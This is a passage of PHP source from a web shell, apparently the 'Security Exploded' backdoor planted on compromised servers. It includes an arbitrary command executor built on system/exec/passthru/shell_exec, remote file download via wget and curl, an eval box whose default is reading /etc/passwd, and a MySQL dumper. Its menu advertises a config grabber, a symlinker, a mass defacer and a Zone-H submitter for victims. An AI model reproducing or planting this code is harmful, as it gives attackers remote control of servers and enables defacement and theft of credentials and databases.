538 <td><a href=\"?y=$pwd&edit=$full\">Edit</a> | <a href=\"javascript:tukar('" . clearspace($file) . "_link','" . clearspace($file) . "_form');\">Rename</a> | <a href=\"?y=$pwd&delete=$full\">Delete</a> | <a href=\"?y=$pwd&dl=$full\">Download</a> (<a href=\"?y=$pwd&dlgzip=$full\">Gz</a>)</td></tr>";
539 }
540 $buff.= "</table>";
541 return $buff;
542}
543function ukuran($file) {
544 if ($size = @filesize($file)) {
545 if ($size <= 1024) return $size;
546 else {
547 if ($size <= 1024 * 1024) {
548 $size = @round($size / 1024, 2);;
549 return "$size kb";
550 } else {
551 $size = @round($size / 1024 / 1024, 2);
552 return "$size mb";
553 }
554 }
555 } else return "???";
556}
557function exe($cmd) {
558 if (function_exists('system')) {
559 @ob_start();
560 @system($cmd);
561 $buff = @ob_get_contents();
562 @ob_end_clean();
563 return $buff;
564 } elseif (function_exists('exec')) {
565 @exec($cmd, $results);
566 $buff = "";
567 foreach ($results as $result) {
568 $buff.= $result;
569 }
570 return $buff;
571 } elseif (function_exists('passthru')) {
572 @ob_start();
573 @passthru($cmd);
574 $buff = @ob_get_contents();
575 @ob_end_clean();
576 return $buff;
577 } elseif (function_exists('shell_exec')) {
578 $buff = @shell_exec($cmd);
579 return $buff;
580 }
581}
582function tulis($file, $text) {
583 $textz = gzinflate(base64_decode($text));
584 if ($filez = @fopen($file, "w")) {
585 @fputs($filez, $textz);
586 @fclose($file);
587 }
588}
589function ambil($link, $file) {
590 if ($fp = @fopen($link, "r")) {
591 while (!feof($fp)) {
592 $cont.= @fread($fp, 1024);
593 }
594 @fclose($fp);
595 $fp2 = @fopen($file, "w");
596 @fwrite($fp2, $cont);
597 @fclose($fp2);
598 }
599}
600function which($pr) {
601 $path = exe("which $pr");
602 if (!empty($path)) {
603 return trim($path);
604 } else {
605 return trim($pr);
606 }
607}
608function download($cmd, $url) {
609 $namafile = basename($url);
610 switch ($cmd) {
611 case 'wwget':
612 exe(which('wget') . " " . $url . " -O " . $namafile);
613 break;
614 case 'wlynx':
615 exe(which('lynx') . " -source " . $url . " > " . $namafile);
616 break;
617 case 'wfread':
618 ambil($wurl, $namafile);
619 break;
620 case 'wfetch':
621 exe(which('fetch') . " -o " . $namafile . " -p " . $url);
622 break;
623 case 'wlinks':
624 exe(which('links') . " -source " . $url . " > " . $namafile);
625 break;
626 case 'wget':
627 exe(which('GET') . " " . $url . " > " . $namafile);
628 break;
629 case 'wcurl':
630 exe(which('curl') . " " . $url . " -o " . $namafile);
631 break;
632 default:
633 break;
634 }
635 return $namafile;
636}
637function get_perms($file) {
638 if ($mode = @fileperms($file)) {
639 $perms = '';
640 $perms.= ($mode & 00400) ? 'r' : '-';
641 $perms.= ($mode & 00200) ? 'w' : '-';
642 $perms.= ($mode & 00100) ? 'x' : '-';
643 $perms.= ($mode & 00040) ? 'r' : '-';
644 $perms.= ($mode & 00020) ? 'w' : '-';
645 $perms.= ($mode & 00010) ? 'x' : '-';
646 $perms.= ($mode & 00004) ? 'r' : '-';
647 $perms.= ($mode & 00002) ? 'w' : '-';
648 $perms.= ($mode & 00001) ? 'x' : '-';
649 return $perms;
650 } else return "??????????";
651}
652function clearspace($text) {
653 return str_replace(" ", "_", $text);
654}
655?>
656<html><head><link rel="SHORTCUT ICON" href="http://oi58.tinypic.com/10r33mq.jpg"><title><?=$title
657?> <?=$versi ?></title>
658<script type="text/javascript">
659function tukar(lama,baru){
660 document.getElementById(lama).style.display = 'none';
661 document.getElementById(baru).style.display = 'block';
662}
663</script><style type="text/css">body, a:hover {cursor: url(http://cur.cursors-4u.net/cursors/cur-11/cur1048.cur), progress !important;}</style>
664<style type="text/css">
665body { background-color:transparan;background:#000;background-image: url("<?=$background; ?>");background-position: center; background-attachment: fixed;background-repeat: no-repeat; }
666a {text-decoration:none;
667}
668a:hover{
669border-bottom:1px solid #00ff00;
670}
671*{
672 font-size:11px;
673 font-family:Tahoma,Verdana,Arial;
674 color:<?=$color; ?>;
675}
676#menu{
677 background-color:transparan;
678 margin:8px 2px 4px 2px;
679}
680
681#menu a{
682 padding:4px 18px;
683 margin:0;
684 background:#222222;
685 text-decoration:none;
686 letter-spacing:2px;
687 -moz-border-radius: 5px; -moz-box-shadow-webkit-border-radius: 5px; -khtml-border-radius: 5px; border-radius: 5px;
688}
689#menu a:hover{
690 background:#191919;
691 border-bottom:1px solid #333333;
692 border-top:1px solid #333333;
693}
694
695.tabnet{
696 margin:15px auto 0 auto;
697 border: 1px solid #333333;
698 color: #FFCC00; -moz-border-radius: 5px; -moz-box-shadow:0px 0px 10px <?=$color; ?>; -webkit-box-shadow:0px 0px 5px ;}
699.msupiani{ font-family:Vivaldi;font-size:50px;color: #00FF00;}
700.tabnet{
701 margin:15px auto 0 auto;
702 border: 1px solid #333333; -moz-border-radius: 5px; -moz-box-shadow:0px 0px 10px <?=$color; ?>; -webkit-box-shadow:0px 0px 5px ;
703}
704.main {
705 width:100%; -moz-border-radius: 5px; -moz-box-shadow:0px 0px 10px <?=$color; ?>; -webkit-box-shadow:0px 0px 5px ;
706}
707.gaya {
708 color: $color;
709}
710.inputz{
711 background:#111111;
712 border:0;
713 padding:2px;
714 border-bottom:1px solid #222222;
715 border-top:1px solid #222222; -moz-border-radius: 5px; -moz-box-shadow:0px 0px 10px <?=$color; ?>; -webkit-box-shadow:0px 0px 5px ;
716}
717.inputzbut{
718 background:#111111;
719 color:<?=$color; ?>;
720 margin:0 4px;
721 border:1px solid #444444; -moz-border-radius: 5px; -moz-box-shadow:0px 0px 10px <?=$color; ?>; -webkit-box-shadow:0px 0px 5px ;
722
723}
724.inputz:hover, .inputzbut:hover{
725 border-bottom:1px solid #00ff00;
726 border-top:1px solid #00ff00; -moz-border-radius: 5px; -moz-box-shadow:0px 0px 10px <?=$color; ?>; -webkit-box-shadow:0px 0px 5px ;
727}
728.output {
729 margin:auto;
730 border:1px solid <?=$color; ?>;
731 width:100%;
732 height:400px;
733 background:#000000;
734 padding:0 2px; -moz-border-radius: 5px; -moz-box-shadow:0px 0px 10px <?=$color; ?>; -webkit-box-shadow:0px 0px 5px ;
735}
736.cmdbox{
737 width:100%; -moz-border-radius: 5px; -moz-box-shadow:0px 0px 10px <?=$color; ?>; -webkit-box-shadow:0px 0px 5px ;
738}
739.head_info{
740 padding: 0 4px; -moz-border-radius: 5px; -moz-box-shadow:0px 0px 10px <?=$color; ?>; -webkit-box-shadow:0px 0px 5px ;
741}
742.exploded{
743 font-size:30px;
744 padding:0;
745 color:#444444; -moz-border-radius: 5px; -moz-box-shadow:0px 0px 10px <?=$color; ?>; -webkit-box-shadow:0px 0px 5px ;
746}
747.exploded_tbl{
748 text-align:center;
749 margin:0 4px 0 0;
750 padding:0 4px 0 0;
751 border-right:1px solid #333333;
752}
753.phpinfo table{
754 width:100%;
755 padding:0 0 0 0; -moz-border-radius: 5px; -moz-box-shadow:0px 0px 10px <?=$color; ?>; -webkit-box-shadow:0px 0px 5px ;
756}
757.phpinfo td{
758 background:#111111;
759 color:#cccccc;
760padding:6px 8px;; -moz-border-radius: 5px; -moz-box-shadow:0px 0px 10px <?=$color; ?>; -webkit-box-shadow:0px 0px 5px ;
761}
762.phpinfo th, th{
763 background:#191919;
764 border-bottom:1px solid #333333;
765font-weight:normal; -moz-border-radius: 5px; -moz-box-shadow:0px 0px 10px <?=$color; ?>; -webkit-box-shadow:0px 0px 5px ;
766}
767.phpinfo h2, .phpinfo h2 a{
768 text-align:center;
769 font-size:16px;
770 padding:0;
771 margin:30px 0 0 0;
772 background:#222222;
773 padding:4px 0; -moz-border-radius: 5px; -moz-box-shadow:0px 0px 10px <?=$color; ?>; -webkit-box-shadow:0px 0px 5px ;
774}
775.explore{
776width:100%; -moz-border-radius: 5px; -moz-box-shadow:0px 0px 10px <?=$color; ?>; -webkit-box-shadow:0px 0px 5px ;
777}
778.explore a {
779text-decoration:none;
780}
781.explore td{
782border-bottom:1px solid #333333;
783padding:0 8px;
784line-height:24px; -moz-border-radius: 5px; -moz-box-shadow:0px 0px 10px <?=$color; ?>; -webkit-box-shadow:0px 0px 5px ;
785}
786.explore th{
787padding:3px 8px;
788font-weight:normal; -moz-border-radius: 5px; -moz-box-shadow:0px 0px 10px <?=$color; ?>; -webkit-box-shadow:0px 0px 5px ;
789}
790.explore th:hover , .phpinfo th:hover{
791border-bottom:1px solid #00ff00; -moz-border-radius: 5px; -moz-box-shadow:0px 0px 10px <?=$color; ?>; -webkit-box-shadow:0px 0px 5px ;
792}
793.explore tr:hover{
794background:#111111; -moz-border-radius: 5px; -moz-box-shadow:0px 0px 10px <?=$color; ?>; -webkit-box-shadow:0px 0px 5px ;
795}
796.viewfile{
797background:#EDECEB;
798color:#000000;
799margin:4px 2px;
800padding:8px; -moz-border-radius: 5px; -moz-box-shadow:0px 0px 10px <?=$color; ?>; -webkit-box-shadow:0px 0px 5px ;
801}
802.sembunyi{
803display:none;
804padding:0;margin:0; -moz-border-radius: 5px; -moz-box-shadow:0px 0px 10px <?=$color; ?>; -webkit-box-shadow:0px 0px 5px ;
805}
806.jaya{ margin:5px; text-align:right; <?=$color; ?>;}
807.footer{ background:#111111; width:99%; padding:5px; margin:10px auto 5px; text-align:center; font-size:13px; -moz-border-radius: 5px; -moz-box-shadow:0px 0px 10px <?=$color; ?>; -webkit-box-shadow:0px 0px 5px ; }
808.footer a{ font-size:14px; }
809.footer span{ font-size:14px;}
810</style></head>
811
812<body onLoad="document.getElementById('cmd').focus();">
813<!-- logout start here -->
814<div id="menu"><span style='float:right;'><br>
815<?="Time On Server : <b> " . date("d M Y H:i:s", time()) . "</b>"; ?> <br><br>
816<a href="?<?="y=" . $pwd; ?>&x=kill" title='Remove Shell'>Remove</a>
817 |
818<a href="?<?="y=" . $pwd; ?>&x=logout" title='Logout'>Logout</a> <br><br>
819 <a href="?<?="y=" . $pwd; ?>&x=about" title='About Author'>About</a>
820</span></div>
821<!-- logout end here -->
822<div class="main">
823<!-- head info start here -->
824<div class="head_info">
825<table><tr>
826<td><table class="inputz"><tr><td><a href="" target="blank" onClick="location.reload();"><span class="F0ku5"><img src='<?=$logo; ?>' title="Security Exploded" width="150" height="150"></span></span></a></td></tr><tr><td>
827<a href="http://twitter.com/Port22_Exploded" class="twitter-follow-button" data-show-count="false"> Follow @Port22_Exploded</a>
828<script>!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0],p=/^http:/.test(d.location)?'http':'http';if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src=p+'://platform.twitter.com/widgets.js';fjs.parentNode.insertBefore(js,fjs);}}(document, 'script', 'twitter-wjs');</script></td></tr></table></td>
829<td><?=$buff; ?></td>
830</tr></table></div>
831<!-- head info end here -->
832<!-- menu start --><br>
833<center><div id="menu">
834<a href="?"><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAAN1gAADdYBkG95nAAAAAd0SU1FB9oJBxQ2GRnu/TgAAAJzSURBVDjLtZLPSxtBHMXf5semZDfS7KpIaWzRShoFD5UK9h6ai5eCPfZkwYJ4kF566a30H0gF24BUqDdjBT1VCFIsNBUWEw+ha2obpDGUXGR1Z7KZ+fbQRky1vfULAzPD4/MeMw/4H7O6ugoAsG17tFwuJwFgd3f3Qq3yN0g+n7+r6/oKgEtQMDWYGHx5kc539rC4uAgA2Hy/OaGq6oplWaVcLmdxxl9YlvUEALa2tv6dYGPjXSoS6chWKpWKaZpdoVBIL5VK+0NDQ/1END02NjZ/LsHc3BwAYG1tbSIYVLOFQuGzpmldgUDAkFKqvb2917a3t23GWDqXyz0BgPX19fYEy8vLKV3XswcHBxXDMLoikYghpaRW0kajwfbK5W834/F+ANOpVGr+FLC0tHRf0/TX+/tf7J6eniuappkA6IwBtSC2bX9NJBIDRPT05OTkuTL1aKpj9Pbox1qtdmgYxlXTNG8QEV3wPgRAcV23bllWfmRkZNh13VuKpmnBvr6+O1LK2szMzNtwOBxviYUQUBQFPp+vBYCU8jCTyaSOj48vA/hw6jI+Ph5JJpOfwuFwnIjAGKsvLCw8cxxHTE4+fGwY0RgRgYi+O44zPDs7W2/rgeu6CmMMjDFwziGE+JFIJF5Vq9VMs+kdcs7BOQdjDEdHR6fGgdZGCAHOOfx+P4gIQggZjUaps9OkRqNBjDHQr1E8z8M5QLVaheM4TZ/fBxDQbDZVz/MgJYFzHlRVFURQms2GqNfr4qIm+mOx2L3u7u5hKSVCIXVPSvGmsFNUBuLxB8FA4DoAeJ63UywWswBk2x+l0+kW0P97KX80tnXfNj8B5NE5DOMV2T0AAAAASUVORK5CYII=' height="18" width="34" title='Home '></a>
835<a href="?<?="y=" . $pwd; ?>" title='File Explorer'>Files</a>
836<a href="?<?="y=" . $pwd; ?>&x=upload" title='Upload File'>Uploader</a>
837<a href="?<?="y=" . $pwd; ?>&x=sql" title='Connect To Database'>MySQL Manager</a><br><br>
838<a href="?<?="y=" . $pwd; ?>&x=jumping" title='Jumping'>Jumper</a>
839<a href="?<?="y=" . $pwd; ?>&x=symlink" title='Symlink'>Multi Symlinker</a>
840<a href="?<?="y=" . $pwd; ?>&x=grabc" title='Config Grabber'>Config Grabber</a><br><br>
841<a href="?<?="y=" . $pwd; ?>&x=mass" title='Deface To All Folder'>Mass Directory Defacer</a>
842<a href="?<?="y=" . $pwd; ?>&x=zone" title='Submit Victim To Zone-H'>Zone-H Submiter</a>
843</div></center><br>
844<!-- menu end -->
845<?php
846@ini_set('display_errors', 0);
847@ini_set('output_buffering', 0);
848if (isset($_GET['x']) && ($_GET['x'] == 'kill')) {
849 echo "
850<table style=width:100%; border=0 class=tabnet cellpadding=3 cellspacing=1 align=center>
851
852 <tr>
853 <td valign=top bgcolor=#151515 class=style2 style=width: 139px>
854 <center><b><font size=5 style=italic color=#00ff00>Shell Killer</font></b></center></td></tr></table>";
855 echo '<center><br><font style="color:<?=$color; ?>">Do You Really Want To Delete This Shell ?</b></center><br>';
856?>
857<center>
858<div id="menu">
859<a href="?<?="y=" . $pwd; ?>&x=killit" title='Remove Shell' >Yes, I Want</font></a>
860<a href="<?=$_SERVER['PHP_SELF']; ?>">Cancel</a></b></center><br><br>
861</div>
862<?php
863}
864if (isset($_GET['x']) && ($_GET['x'] == 'killit')) {
865 $file = $_SERVER['PHP_SELF'];
866 if (@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__))) die('<br><br><b class="tmp"><font color="#ff0000" size="2pt"><center>Shell Has Been Killed... Take Care And Stay Safe</center></font></b><meta http-equiv="refresh" content="3; url=?".$pwd."" />');
867 else echo '<font color="#fff600" size="2pt">Unlink Error !</font>';
868}
869/////////////////////////////
870elseif (isset($_GET['x']) && ($_GET['x'] == 'php')) {
871 @ini_set('output_buffering', 0);
872 echo "
873<table style=width:100%; border=0 class=tabnet cellpadding=3 cellspacing=1 align=center>
874
875 <tr>
876 <td valign=top bgcolor=#151515 class=style2 style=width: 139px>
877 <center><b><font size=5 style=italic color=#00ff00>Eval</font></b></center></td></tr></table>";
878?>
879
880<form action="?y=<?=$pwd; ?>&x=php" method="post">
881<table class="tabnet" style="width:800px;height:300px">
882<tr><td>
883<textarea class="output" name="cmd" id="cmd">
884<?php
885 if (isset($_POST['submitcmd'])) {
886 echo eval(magicboom($_POST['cmd']));
887 } else echo "echo file_get_contents('/etc/passwd');";
888?>
889</textarea>
890<tr><td><input style="width:800px;" class="inputzbut" type="submit" value="Go !" name="submitcmd" /></td></tr></form>
891</table>
892</form>
893
894<?php
895}
896/////////////////////////////
897///////////////////////////////////////////////////////////////////////////////
898elseif (isset($_GET['x']) && ($_GET['x'] == 'sql')) {
899 echo "
900<table style=width:100%; border=0 class=tabnet cellpadding=3 cellspacing=1 align=center>
901
902 <tr>
903 <td valign=top bgcolor=#151515 class=style2 style=width: 139px>
904 <center><b><font size=5 style=italic color=#00ff00>MySQL Manager</font></b></center></td></tr></table>";
905 function view_size($size) {
906 if (!is_numeric($size)) {
907 return FALSE;
908 } else {
909 if ($size >= 1073741824) {
910 $size = round($size / 1073741824 * 100) / 100 . " GB";
911 } elseif ($size >= 1048576) {
912 $size = round($size / 1048576 * 100) / 100 . " MB";
913 } elseif ($size >= 1024) {
914 $size = round($size / 1024 * 100) / 100 . " KB";
915 } else {
916 $size = $size . " B";
917 }
918 return $size;
919 }
920 }
921 function mysql_dump($set) {
922 $sock = $set["sock"];
923 $db = $set["db"];
924 $print = $set["print"];
925 $nl2br = $set["nl2br"];
926 $file = $set["file"];
927 $add_drop = $set["add_drop"];
928 $tabs = $set["tabs"];
929 $onlytabs = $set["onlytabs"];
930 $ret = array();
931 $ret["err"] = array();
932 if (!is_resource($sock)) {
933 echo ("Error: \$sock is not valid resource.");
934 }
935 if (empty($db)) {
936 $db = "db";
937 }
938 if (empty($print)) {
939 $print = 0;
940 }
941 if (empty($nl2br)) {
942 $nl2br = 0;
943 }
944 if (empty($add_drop)) {
945 $add_drop = TRUE;
946 }
947 if (empty($file)) {
948 $file = $tmp_dir . "dump_" . getenv("SERVER_NAME") . "_" . $db . "_" . date("d-m-Y-H-i-s") . ".sql";
949 }
950 if (!is_array($tabs)) {
951 $tabs = array();
952 }
953 if (empty($add_drop)) {
954 $add_drop = TRUE;
955 }
956 if (sizeof($tabs) == 0) {
957 $res = mysql_query("SHOW TABLES FROM " . $db, $sock);
958 if (mysql_num_rows($res) > 0) {
959 while ($row = mysql_fetch_row($res)) {
960 $tabs[] = $row[0];
961 }
962 }
963 }
964 $out = "
965 # Dumped By " . $xName . "
966 # MySQL version: (" . mysql_get_server_info() . ") running on " . getenv("SERVER_ADDR") . " (" . getenv("SERVER_NAME") . ")" . "
967 # Date: " . date("d.m.Y H:i:s") . "
968 # DB: \"" . $db . "\"
969 #---------------------------------------------------------";
970 $c = count($onlytabs);
971 foreach ($tabs as $tab) {
972 if ((in_array($tab, $onlytabs)) or (!$c)) {
973 if ($add_drop) {
974 $out.= "DROP TABLE IF EXISTS `" . $tab . "`;";
975 }
976 $res = mysql_query("SHOW CREATE TABLE `" . $tab . "`", $sock);
977 if (!$res) {
978 $ret["err"][] = mysql_smarterror();
979 } else {
980 $row = mysql_fetch_row($res);
981 $out.= $row["1"] . ";";
982 $res = mysql_query("SELECT * FROM `$tab`", $sock);
983 if (mysql_num_rows($res) > 0) {
984 while ($row = mysql_fetch_assoc($res)) {
985 $keys = implode("`, `", array_keys($row));
986 $values = array_values($row);
987 foreach ($values as $k => $v) {
988 $values[$k] = addslashes($v);
989 }
990 $values = implode("', '", $values);
991 $sql = "INSERT INTO `$tab`(`" . $keys . "`) VALUES ('" . $values . "');";
992 $out.= $sql;
993 }
994 }
995 }
996 }
997 }
998 $out.= "#---------------------------------------------------------------------------------";
999 if ($file) {
1000 $fp = fopen($file, "w");
1001 if (!$fp) {
1002 $ret["err"][] = 2;
1003 } else {
1004 fwrite($fp, $out);
1005 fclose($fp);
1006 }
1007 }
1008 if ($print) {
1009 if ($nl2br) {
1010 echo nl2br($out);
1011 } else {
1012 echo $out;
1013 }
1014 }
1015 return $out;
1016 }
1017 function mysql_buildwhere($array, $sep = " and", $functs = array()) {
1018 if (!is_array($array)) {
1019 $array = array();
1020 }
1021 $result = "";
1022 foreach ($array as $k => $v) {
1023 $value = "";
1024 if (!empty($functs[$k])) {
1025 $value.= $functs[$k] . "(";
1026 }
1027 $value.= "'" . addslashes($v) . "'";
1028 if (!empty($functs[$k])) {
1029 $value.= ")";
1030 }
1031 $result.= "`" . $k . "` = " . $value . $sep;
1032 }
1033 $result = substr($result, 0, strlen($result) - strlen($sep));
1034 return $result;
1035 }
1036 function mysql_fetch_all($query, $sock) {
1037 if ($sock) {
1038 $result = mysql_query($query, $sock);
1039 } else {
1040 $result = mysql_query($query);
1041 }
1042 $array = array();
1043 while ($row = mysql_fetch_array($result)) {
1044 $array[] = $row;
1045 }
1046 mysql_free_result($result);
1047 return $array;
1048 }
1049 function mysql_smarterror($sock) {
1050 if ($sock) {
1051 $error = mysql_error($sock);
1052 } else {
1053 $error = mysql_error();
1054 }
1055 $error = htmlspecialchars($error);
1056 return $error;
1057 }
1058 function mysql_query_form() {
1059 global $submit, $sql_x, $sql_query, $sql_query_result, $sql_confirm, $sql_query_error, $tbl_struct;
1060 if (($submit) and (!$sql_query_result) and ($sql_confirm)) {
1061 if (!$sql_query_error) {
1062 $sql_query_error = "Query was empty";
1063 }
1064 echo "<b>Error:</b> <br>" . $sql_query_error . "<br>";
1065 }
1066 if ($sql_query_result or (!$sql_confirm)) {
1067 $sql_x = $sql_goto;
1068 }
1069 if ((!$submit) or ($sql_x)) {
1070 echo "<table><tr><td><form name=\"fx29sh_sqlquery\" method=POST><b>";
1071 if (($sql_query) and (!$submit)) {
1072 echo "Do you really want to";
1073 } else {
1074 echo "SQL-Query";
1075 }
1076 echo ":</b><br><br><textarea name=sql_query cols=100 rows=10>" . htmlspecialchars($sql_query) . "</textarea><br><br><input type=hidden name=x value=sql><input type=hidden name=sql_x value=query><input type=hidden name=sql_tbl value=\"" . htmlspecialchars($sql_tbl) . "\"><input type=hidden name=submit value=\"1\"><input type=hidden name=\"sql_goto\" value=\"" . htmlspecialchars($sql_goto) . "\"><input type=submit name=sql_confirm value=\"Yes\"> <input type=submit value=\"No\"></form></td>";
1077 if ($tbl_struct) {
1078 echo "<td valign=\"top\"><b>Fields:</b><br>";
1079 foreach ($tbl_struct as $field) {
1080 $name = $field["Field"];
1081 echo "+ <a href=\"#\" onclick=\"document.fx29sh_sqlquery.sql_query.value+='`" . $name . "`';\"><b>" . $name . "</b></a><br>";
1082 }
1083 echo "</td></tr></table>";
1084 }
1085 }
1086 if ($sql_query_result or (!$sql_confirm)) {
1087 $sql_query = $sql_last_query;
1088 }
1089 }
1090 function mysql_create_db($db, $sock = "") {
1091 $sql = "CREATE DATABASE `" . addslashes($db) . "`;";
1092 if ($sock) {
1093 return mysql_query($sql, $sock);
1094 } else {
1095 return mysql_query($sql);
1096 }
1097 }
1098 function mysql_query_parse($query) {
1099 $query = trim($query);
1100 $arr = explode(" ", $query);
1101 $types = array("SELECT" => array(3, 1), "SHOW" => array(2, 1), "DELETE" => array(1), "DROP" => array(1));
1102 $result = array();
1103 $op = strtoupper($arr[0]);
1104 if (is_array($types[$op])) {
1105 $result["propertions"] = $types[$op];
1106 $result["query"] = $query;
1107 if ($types[$op] == 2) {
1108 foreach ($arr as $k => $v) {
1109 if (strtoupper($v) == "LIMIT") {
1110 $result["limit"] = $arr[$k + 1];
1111 $result["limit"] = explode(",", $result["limit"]);
1112 if (count($result["limit"]) == 1) {
1113 $result["limit"] = array(0, $result["limit"][0]);
1114 }
1115 unset($arr[$k], $arr[$k + 1]);
1116 }
1117 }
1118 }
1119 } else {
1120 return FALSE;
1121 }
1122 }
1123 function disp_error($msg) {
1124 echo "<div class=errmsg>$msg</div>
1125";
1126 }
1127 function html_style() {
1128 $style = ' <style type="text/css"> a { text-decoration:none; } a:hover { color: #00ff00; border-bottom:1px solid #00ff00; } input[type="text"], input[type="password"], select{ background:#111111; border:0; padding:2px; border:1px solid #444444; } input[type="submit"]{ background:#111111; color:#ffffff; margin:0 4px; border:1px solid #444444;} input[type="text"]:hover, input[type="submit"]:hover, input[type="password"]:hover, select:hover{ border-bottom:1px solid #00ff00;border-top:1px solid #00ff00;} .tab { width:100%; } th{ background:#191919; border-bottom:1px solid #333333; font-weight:normal; } .tub { width:100%; } .tub th{ border-bottom:1px solid #00ff00; padding:3px;} .tub tr:hover{ background:#006400; } .tub td{ border-bottom:1px solid #333333; padding-left:3px; } #maininfo { padding:5px; margin-top:10px; margin-left:2px; margin-right:2px; background:#191919; } #maininfo a{ color:#00ff00; } textarea { background:#000000; border:1px solid #444444;} textarea:hover { border:1px solid #00ff00;} </style><center>';
1129 return $style;
1130 }
1131 $auto_surl = TRUE;
1132 foreach ($_REQUEST as $k => $v) {
1133 if (!isset($$k)) {
1134 $$k = $v;
1135 }
1136 }
1137 if ($auto_surl) {
1138 $include = "&";
1139 foreach (explode("&", getenv("QUERY_STRING")) as $v) {
1140 $v = explode("=", $v);
1141 $name = urldecode($v[0]);
1142 $value = @urldecode($v[1]);
1143 $needles = array("http://", "https://", "ssl://", "ftp://", " \ ");
1144foreach ($needles as $needle) {
1145 if (strpos($value,$needle) === 0) {
1146$includestr .= urlencode($name)." = ".urlencode($value)." & ";
1147 } } } }
1148if (empty($surl)) { $surl = htmlspecialchars(" ? ".@$includestr); }
1149if (!isset($x)) { $x = "sql"; }
1150 if ($x == "sql") {
1151 foreach (array("sort","sql_sort") as $v) {
1152if (!empty($_GET[$v])) { $$v = $_GET[$v]; }
1153if (!empty($_POST[$v])) { $$v = $_POST[$v]; }
1154 }
1155 if ($sort_save) {
1156if (!empty($sort)) { setcookie("sort",$sort); }
1157if (!empty($sql_sort)) { setcookie("sql_sort",$sql_sort); }
1158 }
1159 if (!isset($sort)) { $sort = $sort_default; }
1160 $sort = htmlspecialchars($sort);
1161 $sort[1] = strtolower($sort[1]);
1162 echo html_style();
1163echo " <div id='maininfo'>";
1164 if ($x == "sql") {
1165 $sql_surl = $surl."x = sql";
1166 if (!isset($sql_login)) { $sql_login = ""; }
1167 if (!isset($sql_passwd)) { $sql_passwd = ""; }
1168 if (!isset($sql_server)) { $sql_server = ""; }
1169 if (!isset($sql_port)) { $sql_port = ""; }
1170 if (!isset($sql_tbl)) { $sql_tbl = ""; }
1171 if (!isset($sql_x)) { $sql_x = ""; }
1172 if (!isset($sql_tbl_x)) { $sql_tbl_x = ""; }
1173 if (!isset($sql_order)) { $sql_order = ""; }
1174 if (!isset($sql_x)) { $sql_x = ""; }
1175 if (!isset($sql_getfile)) { $sql_getfile = ""; }
1176 if (@$sql_login) { $sql_surl .= " & sql_login = ".htmlspecialchars($sql_login); }
1177 if (@$sql_passwd) { $sql_surl .= " & sql_passwd = ".htmlspecialchars($sql_passwd); }
1178 if (@$sql_server) { $sql_surl .= " & sql_server = ".htmlspecialchars($sql_server); }
1179 if (@$sql_port){ $sql_surl .= " & sql_port = ".htmlspecialchars($sql_port); }
1180 if (@$sql_db) { $sql_surl .= " & sql_db = ".htmlspecialchars($sql_db); }
1181 $sql_surl .= " & ";
1182 echo "";
1183 if (@$sql_server) {
1184$sql_sock = @mysql_connect($sql_server." : ".$sql_port, $sql_login, $sql_passwd);
1185$err = mysql_smarterror($sql_sock);
1186@mysql_select_db($sql_db,$sql_sock);
1187if (@$sql_query and $submit) {
1188 $sql_query_result = mysql_query($sql_query,$sql_sock);
1189 $sql_query_error = mysql_smarterror($sql_sock);
1190}
1191 }
1192 else { $sql_sock = FALSE; }
1193 if (!$sql_sock) {
1194if (!@$sql_server) { echo " <blink><b><fontstyle = color: #ff0000>No Connection ! ! !</font></b></blink>"; }
1195 else {
1196 disp_error("ERROR: " . $err);
1197 }
1198 } else {
1199 #SQL Quicklaunch
1200 $sqlquicklaunch = array();
1201 $sqlquicklaunch[] = array("Index", $surl . "x=sql&sql_login=" . htmlspecialchars($sql_login) . "&sql_passwd=" . htmlspecialchars($sql_passwd) . "&sql_server=" . htmlspecialchars($sql_server) . "&sql_port=" . htmlspecialchars($sql_port) . "&");
1202 $sqlquicklaunch[] = array("Query", $sql_surl . "sql_x=query&sql_tbl=" . urlencode($sql_tbl));
1203 $sqlquicklaunch[] = array("Server status", $surl . "x=sql&sql_login=" . htmlspecialchars($sql_login) . "&sql_passwd=" . htmlspecialchars($sql_passwd) . "&sql_server=" . htmlspecialchars($sql_server) . "&sql_port=" . htmlspecialchars($sql_port) . "&sql_x=serverstatus");
1204 $sqlquicklaunch[] = array("Server variables", $surl . "x=sql&sql_login=" . htmlspecialchars($sql_login) . "&sql_passwd=" . htmlspecialchars($sql_passwd) . "&sql_server=" . htmlspecialchars($sql_server) . "&sql_port=" . htmlspecialchars($sql_port) . "&sql_x=servervars");
1205 $sqlquicklaunch[] = array("Processes", $surl . "x=sql&sql_login=" . htmlspecialchars($sql_login) . "&sql_passwd=" . htmlspecialchars($sql_passwd) . "&sql_server=" . htmlspecialchars($sql_server) . "&sql_port=" . htmlspecialchars($sql_port) . "&sql_x=processes");
1206 $sqlquicklaunch[] = array("Logout", $surl . "x=sql");
1207 echo "MySQL " . mysql_get_server_info() . " (proto v." . mysql_get_proto_info() . ") Server: " . htmlspecialchars($sql_server) . ":" . htmlspecialchars($sql_port) . " as " . htmlspecialchars($sql_login) . "@" . htmlspecialchars($sql_server) . " (password - \"" . htmlspecialchars($sql_passwd) . "\")<br>";
1208 if (count($sqlquicklaunch) > 0) {
1209 foreach ($sqlquicklaunch as $item) {
1210 echo "[ <a href=\"" . $item[1] . "\">" . $item[0] . "</a> ] ";
1211 }
1212 }
1213 }
1214 echo "</div>";
1215 echo "<center><table class='tab'><tr>";
1216 if (!$sql_sock) {
1217 echo '<td>
1218<form name="f_sql" action="' . $surl . 'x=sql" method="POST">
1219<input type="hidden" name="x" value="sql">
1220<table class="tabnet" style="padding:1px;">
1221<tr><th colspan="2"><b>MySQL Manager</b></th></tr>
1222<tr><td>Host</td><td><input type="text" name="sql_server" class="inputz" style="width:249px;background:black" value="localhost"></td></tr>
1223<tr><td>Username</td><td><input type="text" name="sql_login" class="inputz" value="" style="width:249px;background:black"></td></tr>
1224<tr><td>Password</td><td><input type="password" name="sql_passwd" class="inputz" value="" style="width:249px;background:black;"></td></tr>
1225<tr><td>Database</td><td><input type="text" name="sql_db" value="" class="inputz" style="width:249px;background:black"></td></tr>
1226<tr><td>Port</td><td><input type="text" name="sql_port" class="inputz" value="3306" style="background:black;" size="6"> <input type="submit" class="inputzbut" style=color:$color value="Connect"></td></tr>
